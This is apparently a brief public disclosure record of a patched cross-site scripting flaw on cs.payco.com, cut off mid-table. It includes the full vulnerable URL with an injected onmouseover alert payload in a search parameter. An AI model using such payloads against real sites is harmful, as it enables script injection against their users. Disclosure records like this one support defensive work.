cs.payco.com XSS vulnerability

Vulnerable URL: http://cs.payco.com/payco/web/faq/search.nhn?alias=toastpay=4057=%22%20onmouseover=alert%28%22XSSPOSED%22%29%20%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google...